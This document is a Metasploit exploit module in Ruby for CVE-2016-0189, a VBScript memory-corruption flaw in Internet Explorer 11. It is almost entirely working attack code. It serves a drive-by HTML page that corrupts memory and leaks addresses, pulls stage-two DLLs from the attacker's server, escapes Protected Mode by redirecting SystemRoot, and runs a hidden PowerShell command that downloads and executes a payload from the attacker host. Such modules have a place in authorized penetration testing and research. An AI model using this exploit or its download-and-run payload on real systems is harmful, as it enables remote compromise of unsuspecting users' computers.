##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption",
'Description' => %q{
This module exploits the memory corruption vulnerability (CVE-2016-0189)
present in the VBScript engine of Internet Explorer 11.
},
'License' => MSF_LICENSE,
'Author' => [
'Theori', # Original RE research and exploitation
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows 10 with IE 11', { } ]
],
'References' =>
[
[ 'CVE', '2016-0189' ],
[ 'MSB', 'MS16-051' ]
],
'Arch' => ARCH_X86_64,
'DisclosureDate' => "May 10 2016",
'DefaultTarget' => 0))
end
def setup
# @stage2html = Rex::Text.rand_text_alphanum(6)
@ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri
@localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri
@pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe"
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read }
File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read }
super
end
def exploit_html(req_uri)
srvhost = datastore['SRVHOST']
srvport = datastore['SRVPORT']
template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim downloadFiles
Dim cacheRegex
Dim cacheFiles(3)
Dim downloadState
Dim pinTime
Dim oFSO
Dim oWS
Dim shell
function FindFile(path, regexFile)
FindFile = ""
For Each f in oFSO.GetFolder(path).Files
If regexFile.Test(f.Name) Then
FindFile = f.Name
Exit For
End If
Next
end function
function SearchCache(path, regexFile)
SearchCache = ""
For Each fld in oFSO.GetFolder(path).SubFolders
'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then
filename = FindFile(path & "\\" & fld.Name, regexFile)
If filename <> "" Then
SearchCache = path & "\\" & fld.Name & "\\" & filename
Exit For
End If
'End If
Next
end function
function loaddll()
On Error Resume Next
Set wshSystemEnv = oWS.Environment("Process")
tmpDir = oFSO.GetSpecialFolder(2)
tmpSysDir = tmpDir & "\\System32"
tmpShellFile = tmpSysDir & "\\shell32.dll"
oFSO.CreateFolder(tmpSysDir)
oFSO.MoveFile cacheFiles(0), tmpShellFile
mydllFile = tmpDir & "\\" & downloadFiles(1)
oFSO.MoveFile cacheFiles(1), mydllFile
wshSystemEnv("MyDllPath") = mydllFile
If (UBound(downloadFiles) = 2) Then
stage2File = tmpDir & "\\#{@pm_escape_html}.html"
oFSO.MoveFile cacheFiles(2), stage2File
wshSystemEnv("stage2file") = stage2File
End If
saveRoot = wshSystemEnv("SystemRoot")
wshSystemEnv("SaveSystemRoot") = saveRoot
wshSystemEnv("SystemRoot") = tmpDir
Set shell = CreateObject("Shell.Application")
If (UBound(downloadFiles) = 2) Then
call tolocal()
End If
end function
Sub OnDownloadDone()
If InStr(userAgent, "NT 5.") > 0 Then
cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%")
cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE"
Else
cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%")
cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE"
End If
Set regexFile = new regexp
regexFile.Pattern = cacheRegex(downloadState)
cacheFiles(downloadState) = SearchCache(cacheDir, regexFile)
If cacheFiles(downloadState) = "" Then
Exit Sub
End If
If downloadState = UBound(downloadFiles) Then
loaddll()
Else
downloadState = downloadState + 1
DoDownload()
End If
End Sub
Sub DoDownload()
pinTime = Now
call getdll(downloadFiles(downloadState))
End Sub
Sub runshell()
downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html")
cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$")
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oWS = CreateObject("WScript.Shell")
downloadState = 0
DoDownload()
End Sub
</script>
<script type="text/vbscript">
Dim bl
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A
Private Sub Class_Initialize
ReDim Preserve AA(1, 2000)
A = AA
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Spray
End Class
Function getAddr (arg1, s)
bl = Null
Set bl = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set bl.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
bl = Null
Set bl = New ArrayWrapper
Dim o
o = bl.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
bl = Null
Set bl = New ArrayWrapper
bl.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set sp = New Spray
addr = getAddr(arg1, sp)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
runshell()
End Function
Function triggerBug
bl.Resize()
Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
var userAgent = navigator.userAgent;
var oReq;
function getdll(downloadFile)
{
oReq = new XMLHttpRequest();
oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true);
oReq.onreadystatechange = handler;
oReq.send();
}
function handler()
{
if (oReq.readyState == 4 && oReq.status == 200) {
OnDownloadDone();
}
}
function tolocal()
{
location.href = "http://localhost:5555/#{@pm_escape_html}.html";
}
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
EOF
template
end
def stage2_html(req_uri)
template = <<-EOF
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script type="text/vbscript">
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%u4141%u4141"
d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set dm = New Dummy
addr = getAddr(arg1, dm)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
Set shObj = CreateObject("Wscript.shell")
shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d")
shObj.Run("%temp%\\#{@payload_exe}")
End Function
Function triggerBug
aw.Resize()
Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</body>
</html>
EOF
template
end
def on_request_uri(cli, request)
# used for some debugging stuff
ies = @ieshell
ls = @localsrv
pm = @pm_escape_html
print_status("Received request: #{request.uri}")
if request.uri =~ /.*#{ies}.*$/
print_status("Sending stage two DLL ...")
send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{ls}.*$/
print_status("Sending local server DLL ...")
send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{pm}.*$/
rq = "#{get_resource.chomp('/')}"
gm = stage2_html(rq)
send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
print_status("Sending main page ..")
send_response(cli, exploit_html(request.uri))
end
end
end